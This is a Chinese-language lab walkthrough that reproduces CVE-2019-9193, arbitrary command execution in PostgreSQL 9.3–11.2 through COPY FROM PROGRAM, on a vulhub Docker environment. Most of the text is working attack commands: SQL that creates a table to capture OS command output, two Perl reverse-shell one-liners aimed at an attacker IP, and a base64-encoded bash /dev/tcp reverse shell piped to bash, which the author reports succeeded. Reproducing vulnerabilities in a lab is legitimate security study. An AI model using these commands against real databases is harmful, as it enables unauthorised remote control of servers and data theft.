漏洞原理
PostgreSQL是当下最流行的数据库系统之一,它是
Mac OSX
系统下最常用的数据库,但同时也提供了Windows及Linux操作系统版本。(Kali下Metasploit
用的就是PostgreSQL数据库).
漏洞成因是因为PostgreSQL的特性
允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3-11.2
版本中这个特性是默认开启的。
从9.3
版本开始PostgreSQL实现了COPY TO/FROM PROGRAM
这个新的功能,它允许数据库的超级用户
以及pg_read_server_files
组用户执行任意的操作系统命令
漏洞复现
使用vulhub搭建环境
# 进入到该漏洞路径
cd postgres/CVE-2019-9193/
# 搭建及运行漏洞环境
docker-compose up -d
可以看到该漏洞开放在5423端口,我们使用kali连接它,默认账号密码为postgres/postgres
psql --host 127.0.0.1 -p 5432 -U postgres
已经连接上数据库
postgres数据库RCE有固定的命令如下
# 删除并创建用于保存系统命令执行结果的表
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';
# 查看结果
SELECT * FROM cmd_exec;
尝试反弹shell,环境里有perl,直接使用perl反弹shell失败
COPY cmd_exec FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.170.143:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';
COPY cmd_exec FROM PROGRAM 'perl -e "use Socket;$i=\"192.168.170.143\";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"'
后来先将反弹shell命令base64编码再执行成功。
# base64编码
echo "bash -i >& /dev/tcp/192.168.170.143/2333 0>&1"|base64
# 执行sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MC4xNDMvMjMzMyAwPiYxCg=="|base64 -d|bash';